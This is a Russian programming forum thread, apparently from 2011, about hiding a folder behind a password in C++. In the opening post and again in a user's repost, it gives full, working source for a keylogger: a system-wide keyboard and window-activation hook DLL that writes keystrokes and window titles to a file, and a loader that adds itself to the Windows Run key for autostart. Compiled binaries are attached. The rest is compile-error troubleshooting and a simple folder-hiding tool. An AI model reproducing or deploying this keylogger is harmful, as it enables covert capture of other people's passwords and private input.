Форум программистов, компьютерный форум CyberForum.ru

В продолжение топика о пароле на папку - C++

Восстановить пароль Регистрация
 
Рейтинг: Рейтинг темы: голосов - 9, средняя оценка - 4.78
-=ЮрА=-
Заблокирован
Автор FAQ
18.08.2011, 09:33     В продолжение топика о пароле на папку #1
Решил привести небольшой код автору топика о пароле.
Так вот, скрывать папку можно совсем неизащерёнными методами, как вариант предлагаю установить у папки атрибуты скрытый и системный.
Кто то из читающих этот топик с улыбкой подумает - от бабушки моей таким способом скрывай, и во многом вы будете правы, но
представим ситуацию когда диалог свойства папки блокирован, а на компьютере стоит вообще фильтр процессов и кроме эксплорера и пары
критических системных процессов на машине ничего запустит нельзя, ну и как вы будете решать вопрос на отыскивание скрытой папки???)))

Фильтр процессов сделать довольно таки легко например получаем их список и убиваем процессы отсутсвующие в нашем белом листе
(ProcView - простой отображатель списка процесов на основе tlhelp32.h)

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// ProcView.cpp : Defines the entry point for the console application.
//
 
#include <windows.h>
#include <iostream.h>
#include <tlhelp32.h>
 
int main(int argc, char* argv[])
{
    HANDLE hSnap;
    hSnap = CreateToolhelp32Snapshot(/*TH32CS_SNAPPROCESS*/TH32CS_SNAPALL, 0);
    if (hSnap == NULL) 
    {
        MessageBox(NULL,"Error Load ToolHelp",NULL,MB_OK);
    }
    PROCESSENTRY32 proc;
    if (Process32First(hSnap, &proc))
    {
        cout<<proc.szExeFile<<"\t"<<proc.th32ProcessID<<"\n";
        while (Process32Next(hSnap, &proc)) 
        {
            cout<<proc.szExeFile<<"\t"<<proc.th32ProcessID<<"\n";
        }
    }
    cin>>argc;
    return 0;
}
Использовать библиотеку tlhelp32.h совсем не обязательно можно использовать EnumWindows и выходить на PID через HWND
Грохнуть процесс можно так(конешно не всякий, крутой софт этим не возьмём, но всё же)

C++
1
2
3
4
5
6
7
8
9
//Вместо GetCurrentProcessId() вводим PID нужного нам процесса
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, true, GetCurrentProcessId());
    if (hProc)
    {
        ULONG ExitCode;
        GetExitCodeProcess(hProc, &ExitCode);
        if(!TerminateProcess(hProc, ExitCode))
            AfxMessageBox(strerror(GetLastError()));
    }
Далее можно пойти ещё дальше и создать к примеру папку-диск (FolderDrive - как её создавать предлагаю поискать). После создания диска-папки
её можно будет скрыть как обычный диск и при отсутсвии доступа к regedit и отсутсвии возможности запуска на исходнолй машине стороннего ПО
этот скрытый диск вряд ли удастся найти(конечно если не запустить программу открывающую посредством пароля указанный диск).

Следующим этапом может стать установка хук-точек в эксплорере, скажем на команду открыть и вызов меню папки. Привожу вполне работоспособный пример
Keylogger-а, (сразу оговорюсь, что в основу взят чужой код)
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
/ Hook.cpp : DLL-Project
// 
 
#include <windows.h>
#include <stdio.h>
 
#pragma data_seg(".hdata") // секция в памяти общая для всех процессов
HINSTANCE hi=NULL; // эта переменная может изменяться любым поетому сдесь не должно быть ничего лишнего
#pragma data_seg() // конец секции
#pragma comment(linker, "/section:.hdata,rws") // даем права этой секции
 
#ifdef __cplusplus 
#define EXPORT extern "C" __declspec (dllexport) 
#else 
#define EXPORT __declspec (dllexport) 
#endif 
 
EXPORT BOOL SetKeyboardHook(void); // объявляем экспортируемую функцию
 
// а эти будут у всех свои
HANDLE hFile=NULL; // !!!!! хэндл файла для каждого процесса должен быть свой !!!!!
HHOOK hKeyHook=NULL;
HHOOK hCBTHook=NULL;
 
void WriteTime(void) // записывает дату и время
{
   DWORD NOfBytes;
   OVERLAPPED ovlp;
   DWORD ffsze;
   SYSTEMTIME time;
   char buffer[30];
 
   GetLocalTime(&time); // получаем дату и время
// форматируем это в String
   sprintf(buffer,"\r\n%02d.%02d.%d %02d:%02d",time.wDay,
                   time.wMonth,time.wYear,time.wHour,time.wMinute);
 
   ffsze=GetFileSize(hFile,NULL);
   ovlp.OffsetHigh=0;
   ovlp.hEvent=NULL;
   ovlp.Offset=ffsze;
 
   WriteFile(hFile,buffer,strlen(buffer),&NOfBytes,&ovlp); // пишем в файл
}
 
void WriteTitle(HWND hWnd) // записывает имя окна
{
   WriteTime(); // сначала пишем время
   DWORD NOfBytes;
   OVERLAPPED ovlp;
   DWORD ffsze;
   char buffer[250];
   char title[256];
   GetWindowText(hWnd,title,100); // получаем имя
   sprintf(buffer," %s\r\n",title);
   ffsze=GetFileSize(hFile,NULL);
   ovlp.OffsetHigh=0;
   ovlp.hEvent=NULL;
   ovlp.Offset=ffsze;
 
   WriteFile(hFile,buffer,strlen(buffer),&NOfBytes,&ovlp);
}
 
short GetSymbolFromVK(WPARAM wParam) // переводит код нажатой клавиши в текст
{
   BYTE btKeyState[256];
   HKL hklLayout = GetKeyboardLayout(0); // узнаем язык клавиатуры
   WORD Symbol; 
   GetKeyboardState(btKeyState); 
   if((ToAsciiEx(wParam, MapVirtualKey(wParam, 0), btKeyState, &Symbol, 0, hklLayout) == 1) && // сам перевод
                GetKeyState(VK_CONTROL) >= 0 && GetKeyState(VK_MENU) >= 0) // проверяем CTRL и ALT
       return Symbol;
    return -1;
}
 
void WriteSymbol(WPARAM wParam) // записывает нажатие в файл
{
   DWORD NOfBytes;
   OVERLAPPED ovlp;
   DWORD ffsze;
   WORD wc;
 
   ffsze=GetFileSize(hFile,NULL);
   ovlp.OffsetHigh=0;
   ovlp.hEvent=NULL;
   ovlp.Offset=ffsze;
 
   if(wParam==VK_RETURN) 
       WriteFile(hFile,"\r\n",2,&NOfBytes,&ovlp);
 
   else if((wc=GetSymbolFromVK(wParam))!=-1) // переводим нажатие в текст
       if(iswprint(wc)) // проверяем или знак текстовой
           WriteFile(hFile,&wc,1,&NOfBytes,&ovlp);
}
 
BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
   switch(ul_reason_for_call)
    {
       case DLL_PROCESS_ATTACH: // вызывается каждый раз когда новый процесс грузит DLL в свою память
       {
           if(!hi) // запоминаем запустивший хэндл(наша DLL) толко первый раз, чтобы он небыл переписан на новый
               hi=hModule;
           char pfad[MAX_PATH]; // путь к файлу должен быть обязательно полный, иначе каждый процесс
                    // будет создавать новый в своем каталоге
           GetModuleFileName(hi,pfad,MAX_PATH); // путь к нашей ДЛЛ
           *(strrchr(pfad,'\\')+1)='\0'; // выкидываем ее имя
           strcat(pfad,"KeySpy.txt"); // вставляем имя файла
        // каждый процесс должен открыть для себя файл отдельно
           if((hFile=CreateFile(pfad,GENERIC_READ|GENERIC_WRITE,
                       FILE_SHARE_WRITE|FILE_SHARE_READ,NULL,
                       OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL))==INVALID_HANDLE_VALUE)
                   return FALSE;
           break;
       }
 
        case DLL_PROCESS_DETACH:
       { // Снимать хуки и закрывать файл необязательно 
        // Система делает это автоматически
        // UnhookWindowsHookEx(hKeyHook);
        // UnhookWindowsHookEx(hCBTHook);
        // CloseHandle(hFile);
           break;
       }
       default:
           break;
   }
   return TRUE ; 
}
 
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
// вызывается при нажатии или отпускании клавиши
{
   if (nCode)
       return CallNextHookEx(hKeyHook,nCode,wParam,lParam);
   if(lParam>=0) // нам нужно только нажатие
       WriteSymbol(wParam);
   return CallNextHookEx(hKeyHook,nCode,wParam,lParam);     // обработали передаем дальше
}
 
LRESULT WINAPI CBTProc(int nCode, WPARAM wParam, LPARAM lParam)
{
   if(nCode==HCBT_ACTIVATE)
// вызывается перед тем как система собирается активировать какоето окно или открыть новое
           WriteTitle((HWND)wParam); // wParam новый HWND
   return CallNextHookEx(hCBTHook, nCode, wParam, lParam); // обработали передаем дальше
}
 
BOOL SetKeyboardHook(void) // эту функцию надо вызывать из приложения для создания ловушек
{
   hKeyHook=SetWindowsHookEx(WH_KEYBOARD,&KeyboardProc,hi,0);
   hCBTHook=SetWindowsHookEx(WH_CBT ,&CBTProc,hi,0);
   return hKeyHook && hCBTHook;
}
// конец DLL
Компилим, получаем hook.dll и hook.lib
 
А это простое приложение:
// KeySpy.cpp 
// 
 
#include <windows.h>
 
#ifdef __cplusplus
#define IMPORT extern "C" __declspec (dllimport) 
#else
#define IMPORT __declspec (dllimport)
#endif
 
IMPORT BOOL SetKeyboardHook(void);     // функция импортируемая из DLL
 
BOOL Mutex(LPSTR szName)     // проверяет запущена ли уже копия
{
   HANDLE hMutex = CreateMutex (NULL, TRUE, szName);
   if (GetLastError() == ERROR_ALREADY_EXISTS)    
   {
       CloseHandle(hMutex);
       return FALSE;     // уже запущена
   }
   return TRUE; // все путем
}
 
void Registry(void) // вписываем в автозапуск
{
   HKEY hKey = HKEY_LOCAL_MACHINE; 
   LPCTSTR lpSubKey ="Software\\Microsoft\\Windows\\CurrentVersion\\Run"; 
   DWORD dwType = REG_SZ;
   HKEY key;
   RegOpenKeyEx(hKey,lpSubKey,0,KEY_WRITE,&key);
   char pfad[MAX_PATH];
   GetModuleFileName(NULL,pfad,MAX_PATH);
   RegSetValueEx(key,"KeySpy",0,REG_SZ,(LPBYTE)pfad,strlen(pfad));
}
 
int APIENTRY WinMain(HINSTANCE hInstance,
           HINSTANCE hPrevInstance,
           LPSTR lpCmdLine,
           int nCmdShow )
{
   if(!Mutex("MySpy"))
       return 1; // одна копия уже есть закрываемся
 
   Registry();
 
   if(!SetKeyboardHook()) // устанавливаем хуки
       return 1; // не получилось закрываемся
 
// а это бесконечный цикл
   MSG msg;
   while (GetMessage (&msg, NULL, 0, 0))
   {
        TranslateMessage (&msg);
        DispatchMessage (&msg);
   }
   return 0;
}
Не забудьте включить в проект hook.lib и скопировать hook.dll к MySpy.exe.
PS:Ну вот я и наметил куда можно смотреть по поводу пароля на папку, ниже привожу простенький консольный код по установке атрибута на папку СИСТЕМНЫЙ + СКРЫТЫЙ,
программа юзает пароль PASSWORD
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#include <windows.h>
#include <shlobj.h>
#include <string.h>
#include <stdio.h>
#include <conio.h>
 
LPTSTR SelectPath(HWND hWnd);
bool GetPassword();
char my_getch(bool show_char);
 
int main()
{
    bool bSetAtrib = false;
    char ch, sPath[MAX_PATH];
    HWND hWnd = GetForegroundWindow();
    DWORD dwAtrib = 0x20;//+a
          dwAtrib +=0x00;//+r
    DWORD dwHider = 0x02;//+s
          dwHider +=0x01;//+h
    DWORD dwSet   = dwAtrib;
    do
    {
        dwSet   = dwAtrib;
        printf("\t***MENU***\r\n");
        printf("1 - hide path\r\n");
        printf("2 - show path\r\n");
        scanf("%c",&ch);
        switch(ch)
        {
            case '1':
                if(!strcpy(sPath,SelectPath(hWnd)))
                    printf("Path not choosen!\r\n");
                else
                {
                    GetShortPathName(sPath,sPath,MAX_PATH);
                    printf("Enter password\r\n");
                    bSetAtrib = GetPassword();
                    dwSet   += dwHider;
                }
                break;
            case '2':
                printf("Enter path\r\n");
                scanf("%s",sPath);
                printf("Enter password\r\n");
                bSetAtrib = GetPassword();
                break;
        };
        if(bSetAtrib)
        {
            bSetAtrib = false;
            if(SetFileAttributes(sPath, dwSet))
                printf
                (
                    "PATH [ %s ]\r\nSET ATRIB [ 0x%p ] DONE\r\n",
                    sPath,
                    dwSet
                );
            else
                printf("ERROR HIDE PATH [ %s ]\r\n",sPath);
        }
        printf("[Y/N] Y - Chose another folder\r\n");
    }
    while(toupper(getch()) == 'Y');
    return 0;
}
 
LPTSTR SelectPath(HWND hWnd)
{
    ShowWindow(hWnd,SW_HIDE);
    char sPath[MAX_PATH];sPath[0] = '\0';
    LPCITEMIDLIST lpItemDList;
    BROWSEINFO bi = {NULL, NULL, sPath,
       "Выберите файл/каталог для сокрытия/открытия",
        BIF_DONTGOBELOWDOMAIN|BIF_BROWSEINCLUDEFILES,
        NULL,
        NULL,
        0
    };
    if((lpItemDList=SHBrowseForFolder(&bi)))
    {
        if(SHGetPathFromIDList(lpItemDList, sPath))
            GetShortPathName((LPCTSTR)sPath,sPath,strlen(sPath));
    }
    ShowWindow(hWnd,SW_SHOW);
    return &sPath[0];
}
 
bool GetPassword()
{
    bool ret = false;
    if(toupper(my_getch(false)) == 'P')
    if(toupper(my_getch(false)) == 'A')
    if(toupper(my_getch(false)) == 'S')
    if(toupper(my_getch(false)) == 'S')
    if(toupper(my_getch(false)) == 'W')
    if(toupper(my_getch(false)) == 'O')
    if(toupper(my_getch(false)) == 'R')
    if(toupper(my_getch(false)) == 'D')
        ret = true;
    printf("\r\n");
    return ret;
}
 
char my_getch(bool show_char)
{
    char ch = getch();
    printf("%c",show_char ? ch : '*');
    return ch;
}
Миниатюры
В продолжение топика о пароле на папку   В продолжение топика о пароле на папку   В продолжение топика о пароле на папку  

В продолжение топика о пароле на папку  
Вложения
Тип файла: rar KeySpy.exe.rar (8.1 Кб, 20 просмотров)
Тип файла: rar hook.dll.rar (15.5 Кб, 20 просмотров)
Тип файла: rar hidepath.exe.rar (15.2 Кб, 16 просмотров)
Тип файла: rar ShowDosPath.rar (12.7 Кб, 12 просмотров)
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
18.08.2011, 09:33     В продолжение топика о пароле на папку
Посмотрите здесь:

C++ Работа с файлами (продолжение)
Русские шрифты в консоли - продолжение C++
Продолжение изучения C++ C++
C++ Продолжение изучения C++
C++ Продолжение изучения C++
После регистрации реклама в сообщениях будет скрыта и будут доступны все возможности форума.
Kopmec
 Аватар для Kopmec
0 / 0 / 0
Регистрация: 13.08.2011
Сообщений: 31
19.08.2011, 01:35     В продолжение топика о пароле на папку #2
Привет я тут пытался скомпилировать выдает ошибку в этом коде

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
 
/ Hook.cpp : DLL-Project
// 
 
#include <windows.h>
#include <stdio.h>
 
#pragma data_seg(".hdata") // секция в памяти общая для всех процессов
HINSTANCE hi=NULL; // эта переменная может изменяться любым поетому сдесь не должно быть ничего лишнего
#pragma data_seg() // конец секции
#pragma comment(linker, "/section:.hdata,rws") // даем права этой секции
 
#ifdef __cplusplus 
#define EXPORT extern "C" __declspec (dllexport) 
#else 
#define EXPORT __declspec (dllexport) 
#endif 
 
EXPORT BOOL SetKeyboardHook(void); // объявляем экспортируемую функцию
 
// а эти будут у всех свои
HANDLE hFile=NULL; // !!!!! хэндл файла для каждого процесса должен быть свой !!!!!
HHOOK hKeyHook=NULL;
HHOOK hCBTHook=NULL;
 
void WriteTime(void) // записывает дату и время
{
   DWORD NOfBytes;
   OVERLAPPED ovlp;
   DWORD ffsze;
   SYSTEMTIME time;
   char buffer[30];
 
   GetLocalTime(&time); // получаем дату и время
// форматируем это в String
   sprintf(buffer,"\r\n%02d.%02d.%d %02d:%02d",time.wDay,
                   time.wMonth,time.wYear,time.wHour,time.wMinute);
 
   ffsze=GetFileSize(hFile,NULL);
   ovlp.OffsetHigh=0;
   ovlp.hEvent=NULL;
   ovlp.Offset=ffsze;
 
   WriteFile(hFile,buffer,strlen(buffer),&NOfBytes,&ovlp); // пишем в файл
}
 
void WriteTitle(HWND hWnd) // записывает имя окна
{
   WriteTime(); // сначала пишем время
   DWORD NOfBytes;
   OVERLAPPED ovlp;
   DWORD ffsze;
   char buffer[250];
   char title[256];
   GetWindowText(hWnd,title,100); // получаем имя
   sprintf(buffer," %s\r\n",title);
   ffsze=GetFileSize(hFile,NULL);
   ovlp.OffsetHigh=0;
   ovlp.hEvent=NULL;
   ovlp.Offset=ffsze;
 
   WriteFile(hFile,buffer,strlen(buffer),&NOfBytes,&ovlp);
}
 
short GetSymbolFromVK(WPARAM wParam) // переводит код нажатой клавиши в текст
{
   BYTE btKeyState[256];
   HKL hklLayout = GetKeyboardLayout(0); // узнаем язык клавиатуры
   WORD Symbol; 
   GetKeyboardState(btKeyState); 
   if((ToAsciiEx(wParam, MapVirtualKey(wParam, 0), btKeyState, &Symbol, 0, hklLayout) == 1) && // сам перевод
                GetKeyState(VK_CONTROL) >= 0 && GetKeyState(VK_MENU) >= 0) // проверяем CTRL и ALT
       return Symbol;
    return -1;
}
 
void WriteSymbol(WPARAM wParam) // записывает нажатие в файл
{
   DWORD NOfBytes;
   OVERLAPPED ovlp;
   DWORD ffsze;
   WORD wc;
 
   ffsze=GetFileSize(hFile,NULL);
   ovlp.OffsetHigh=0;
   ovlp.hEvent=NULL;
   ovlp.Offset=ffsze;
 
   if(wParam==VK_RETURN) 
       WriteFile(hFile,"\r\n",2,&NOfBytes,&ovlp);
 
   else if((wc=GetSymbolFromVK(wParam))!=-1) // переводим нажатие в текст
       if(iswprint(wc)) // проверяем или знак текстовой
           WriteFile(hFile,&wc,1,&NOfBytes,&ovlp);
}
 
BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
   switch(ul_reason_for_call)
    {
       case DLL_PROCESS_ATTACH: // вызывается каждый раз когда новый процесс грузит DLL в свою память
       {
           if(!hi) // запоминаем запустивший хэндл(наша DLL) толко первый раз, чтобы он небыл переписан на новый
               hi=hModule;
           char pfad[MAX_PATH]; // путь к файлу должен быть обязательно полный, иначе каждый процесс
                    // будет создавать новый в своем каталоге
           GetModuleFileName(hi,pfad,MAX_PATH); // путь к нашей ДЛЛ
           *(strrchr(pfad,'\\')+1)='\0'; // выкидываем ее имя
           strcat(pfad,"KeySpy.txt"); // вставляем имя файла
        // каждый процесс должен открыть для себя файл отдельно
           if((hFile=CreateFile(pfad,GENERIC_READ|GENERIC_WRITE,
                       FILE_SHARE_WRITE|FILE_SHARE_READ,NULL,
                       OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL))==INVALID_HANDLE_VALUE)
                   return FALSE;
           break;
       }
 
        case DLL_PROCESS_DETACH:
       { // Снимать хуки и закрывать файл необязательно 
        // Система делает это автоматически
        // UnhookWindowsHookEx(hKeyHook);
        // UnhookWindowsHookEx(hCBTHook);
        // CloseHandle(hFile);
           break;
       }
       default:
           break;
   }
   return TRUE ; 
}
 
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
// вызывается при нажатии или отпускании клавиши
{
   if (nCode)
       return CallNextHookEx(hKeyHook,nCode,wParam,lParam);
   if(lParam>=0) // нам нужно только нажатие
       WriteSymbol(wParam);
   return CallNextHookEx(hKeyHook,nCode,wParam,lParam);     // обработали передаем дальше
}
 
LRESULT WINAPI CBTProc(int nCode, WPARAM wParam, LPARAM lParam)
{
   if(nCode==HCBT_ACTIVATE)
// вызывается перед тем как система собирается активировать какоето окно или открыть новое
           WriteTitle((HWND)wParam); // wParam новый HWND
   return CallNextHookEx(hCBTHook, nCode, wParam, lParam); // обработали передаем дальше
}
 
BOOL SetKeyboardHook(void) // эту функцию надо вызывать из приложения для создания ловушек
{
   hKeyHook=SetWindowsHookEx(WH_KEYBOARD,&KeyboardProc,hi,0);
   hCBTHook=SetWindowsHookEx(WH_CBT ,&CBTProc,hi,0);
   return hKeyHook && hCBTHook;
}
// конец DLL
Компилим, получаем hook.dll и hook.lib
 
А это простое приложение:
// KeySpy.cpp 
// 
 
#include <windows.h>
 
#ifdef __cplusplus
#define IMPORT extern "C" __declspec (dllimport) 
#else
#define IMPORT __declspec (dllimport)
#endif
 
IMPORT BOOL SetKeyboardHook(void);     // функция импортируемая из DLL
 
BOOL Mutex(LPSTR szName)     // проверяет запущена ли уже копия
{
   HANDLE hMutex = CreateMutex (NULL, TRUE, szName);
   if (GetLastError() == ERROR_ALREADY_EXISTS)    
   {
       CloseHandle(hMutex);
       return FALSE;     // уже запущена
   }
   return TRUE; // все путем
}
 
void Registry(void) // вписываем в автозапуск
{
   HKEY hKey = HKEY_LOCAL_MACHINE; 
   LPCTSTR lpSubKey ="Software\\Microsoft\\Windows\\CurrentVersion\\Run"; 
   DWORD dwType = REG_SZ;
   HKEY key;
   RegOpenKeyEx(hKey,lpSubKey,0,KEY_WRITE,&key);
   char pfad[MAX_PATH];
   GetModuleFileName(NULL,pfad,MAX_PATH);
   RegSetValueEx(key,"KeySpy",0,REG_SZ,(LPBYTE)pfad,strlen(pfad));
}
 
int APIENTRY WinMain(HINSTANCE hInstance,
           HINSTANCE hPrevInstance,
           LPSTR lpCmdLine,
           int nCmdShow )
{
   if(!Mutex("MySpy"))
       return 1; // одна копия уже есть закрываемся
 
   Registry();
 
   if(!SetKeyboardHook()) // устанавливаем хуки
       return 1; // не получилось закрываемся
 
// а это бесконечный цикл
   MSG msg;
   while (GetMessage (&msg, NULL, 0, 0))
   {
        TranslateMessage (&msg);
        DispatchMessage (&msg);
   }
   return 0;
}
Не забудьте включить в проект hook.lib и скопировать hook.dll к MySpy.exe.
во 2 строке неправильный символ коментария там недописан однострочный символ исправил дальше обнаружена ошибка в строке 92

Добавлено через 31 минуту
В этом коде выдает ошибку в строке 64

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
 
#include <windows.h>
#include <shlobj.h>
#include <string.h>
#include <stdio.h>
#include <conio.h>
 
LPTSTR SelectPath(HWND hWnd);
bool GetPassword();
char my_getch(bool show_char);
 
int main()
{
        bool bSetAtrib = false;
        char ch, sPath[MAX_PATH];
        HWND hWnd = GetForegroundWindow();
        DWORD dwAtrib = 0x20;//+a
              dwAtrib +=0x00;//+r
        DWORD dwHider = 0x02;//+s
                  dwHider +=0x01;//+h
        DWORD dwSet   = dwAtrib;
        do
        {
                dwSet   = dwAtrib;
                printf("\t***MENU***\r\n");
                printf("1 - hide path\r\n");
                printf("2 - show path\r\n");
                scanf("%c",&ch);
                switch(ch)
                {
                        case '1':
                                if(!strcpy(sPath,SelectPath(hWnd)))
                                        printf("Path not choosen!\r\n");
                                else
                                {
                                        GetShortPathName(sPath,sPath,MAX_PATH);
                                        printf("Enter password\r\n");
                                        bSetAtrib = GetPassword();
                                        dwSet   += dwHider;
                                }
                                break;
                        case '2':
                                printf("Enter path\r\n");
                                scanf("%s",sPath);
                                printf("Enter password\r\n");
                                bSetAtrib = GetPassword();
                                break;
                };
                if(bSetAtrib)
                {
                        bSetAtrib = false;
                        if(SetFileAttributes(sPath, dwSet))
                                printf
                                (
                                        "PATH [ %s ]\r\nSET ATRIB [ 0x%p ] DONE\r\n",
                                        sPath,
                                        dwSet
                                );
                        else
                                printf("ERROR HIDE PATH [ %s ]\r\n",sPath);
                }
                printf("[Y/N] Y - Chose another folder\r\n");
        }
        while(toupper(getch()) == 'Y');
        return 0;
}
 
LPTSTR SelectPath(HWND hWnd)
{
        ShowWindow(hWnd,SW_HIDE);
        char sPath[MAX_PATH];sPath[0] = '\0';
        LPCITEMIDLIST lpItemDList;
        BROWSEINFO bi = {NULL, NULL, sPath,
           "Выберите файл/каталог для сокрытия/открытия",
                BIF_DONTGOBELOWDOMAIN|BIF_BROWSEINCLUDEFILES,
                NULL,
                NULL,
                0
        };
        if((lpItemDList=SHBrowseForFolder(&bi)))
        {
                if(SHGetPathFromIDList(lpItemDList, sPath))
                        GetShortPathName((LPCTSTR)sPath,sPath,strlen(sPath));
        }
        ShowWindow(hWnd,SW_SHOW);
        return &sPath[0];
}
 
bool GetPassword()
{
        bool ret = false;
        if(toupper(my_getch(false)) == 'P')
        if(toupper(my_getch(false)) == 'A')
        if(toupper(my_getch(false)) == 'S')
        if(toupper(my_getch(false)) == 'S')
        if(toupper(my_getch(false)) == 'W')
        if(toupper(my_getch(false)) == 'O')
        if(toupper(my_getch(false)) == 'R')
        if(toupper(my_getch(false)) == 'D')
                ret = true;
        printf("\r\n");
        return ret;
}
 
char my_getch(bool show_char)
{
        char ch = getch();
        printf("%c",show_char ? ch : '*');
        return ch;
}
-=ЮрА=-
Заблокирован
Автор FAQ
19.08.2011, 11:03  [ТС]     В продолжение топика о пароле на папку #3
Цитата Сообщение от Kopmec Посмотреть сообщение
/ Hook.cpp : DLL-Project
- тут нужно было вот так //

Цитата Сообщение от Kopmec Посмотреть сообщение
while(toupper(getch()) == 'Y');
- здесь нет ошибки, думаю ты юзаешь 2010-студию, там много на мой взгляд "тупости из ниоткуда"

Добавлено через 1 минуту
Цитата Сообщение от Kopmec Посмотреть сообщение
while(toupper(getch()) == 'Y');
- как вариант попробуй добавить stdlib.h
Kastaneda
Модератор
Эксперт С++
 Аватар для Kastaneda
4236 / 2769 / 218
Регистрация: 12.12.2009
Сообщений: 7,104
Записей в блоге: 1
Завершенные тесты: 1
19.08.2011, 11:06     В продолжение топика о пароле на папку #4
Цитата Сообщение от -=ЮрА=- Посмотреть сообщение
как вариант попробуй добавить stdlib.h
или <ctype.h>
-=ЮрА=-
Заблокирован
Автор FAQ
19.08.2011, 11:06  [ТС]     В продолжение топика о пароле на папку #5
Цитата Сообщение от Kopmec Посмотреть сообщение
Привет я тут пытался скомпилировать выдает ошибку в этом коде
- вот тут эти проекты Помогите с подключением dll к проекту
germeticus
27 / 27 / 1
Регистрация: 21.06.2011
Сообщений: 82
19.08.2011, 20:18     В продолжение топика о пароле на папку #6
Все очень хорошо, а что делать, если файловая система смотрится из другой системы?
-=ЮрА=-
Заблокирован
Автор FAQ
19.08.2011, 20:46  [ТС]     В продолжение топика о пароле на папку #7
Цитата Сообщение от germeticus Посмотреть сообщение
Все очень хорошо, а что делать, если файловая система смотрится из другой системы?
- Закрыть удалённый доступ к своей машине и наслаждаться недосягаемостью)
germeticus
27 / 27 / 1
Регистрация: 21.06.2011
Сообщений: 82
19.08.2011, 21:02     В продолжение топика о пароле на папку #8
Цитата Сообщение от -=ЮрА=- Посмотреть сообщение
- Закрыть удалённый доступ к своей машине и наслаждаться недосягаемостью)
Я не то имел в виду. Если скажем загрузили с флешки или с лайв CD другую операционную систему. Все же лучше шифровать. Обычное побитовое исключающее или.
Kopmec
 Аватар для Kopmec
0 / 0 / 0
Регистрация: 13.08.2011
Сообщений: 31
19.08.2011, 22:28     В продолжение топика о пароле на папку #9
Цитата Сообщение от -=ЮрА=- Посмотреть сообщение
- тут нужно было вот так //

- здесь нет ошибки, думаю ты юзаешь 2010-студию, там много на мой взгляд "тупости из ниоткуда"

Добавлено через 1 минуту
- как вариант попробуй добавить stdlib.h
while(toupper(getch()) == 'Y');-здесь <stdlib.h> не помагло ...добавил <ctype.h> работает нормально..
кстати у меня компилятор Dev C++ версии 4.9.9.2

Добавлено через 9 минут
Цитата Сообщение от Kastaneda Посмотреть сообщение
или <ctype.h>
Спасибо <ctype.h> помагло

Добавлено через 19 минут
В этом коде выделена ошибка в строке 92 вот она ниже приведенная

else if((wc=GetSymbolFromVK(wParam))!=-1) // переводим нажатие в текст


C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
